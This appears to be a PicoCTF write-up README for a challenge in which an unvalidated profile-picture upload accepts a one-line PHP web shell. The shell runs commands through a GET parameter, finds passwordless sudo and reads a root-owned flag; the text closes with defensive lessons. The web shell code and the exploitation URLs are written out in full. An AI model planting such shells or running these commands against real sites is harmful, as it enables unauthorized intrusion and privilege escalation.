Remote Code Execution via File Upload and Command Injection

🔍 Challenge Overview

CTF Platform: PicoCTF\ **Challenge Name:** n0s4n1ty 1\ **Description:**\ A developer added a profile picture upload feature to a website. Due to poor validation, it allowed uploading PHP files. Using this flaw, we achieved **Remote Code Execution (RCE)**, escalated privileges, and retrieved the hidden flag from `/root`.

⚙ Exploitation Steps

1. Find the Upload Feature

Discovered a file upload page that did not validate file types properly.

2. Upload Web Shell

Uploaded this PHP shell:

```
<?php system($_GET['cmd']); ?>
```

Saved as: `shell.php`\ **Uploaded to:** `/uploads/shell.php`

---

3. Execute Commands Remotely

Accessed the shell via:

```
http://<target>:<port>/uploads/shell.php?cmd=whoami
```

Output:

```
www-data
```

---

4. Privilege Escalation

Ran:

```
?cmd=sudo -l
```

Output:

```
(ALL) NOPASSWD: ALL
```

Means `www-data` can run any command as root without a password.

---

5. Capture the Flag

Ran:

```
?cmd=sudo cat /root/flag.txt
```

Output:

```
picoCTF{...}
```

Full URL Breakdown

Example:

```
http://standard-pizzas.picoctf.net:57782/uploads/shell.php?cmd=sudo%20cat%20/root/flag.txt
```

- `shell.php` is the uploaded PHP web shell
- `?cmd=...` is a **GET parameter** sent to the script
- `$_GET['cmd']` runs the command with PHP's `system()` function
- `%20` is URL-encoded space
- Final command: `sudo cat /root/flag.txt`

Lessons Learned

- Always validate file uploads (extension, MIME type, file content)
- Never allow unsanitized input to reach system functions
- Restrict `sudo` permissions — avoid `NOPASSWD: ALL` for web users
- Segregate web users from sensitive directories

Repo Contents

File	Description
`shell.php`	The simple webshell used for RCE
`README.md`	This documentation

The command `sudo -l` is used in Unix-like operating systems to list the commands that a user is permitted to execute with sudo privileges.

-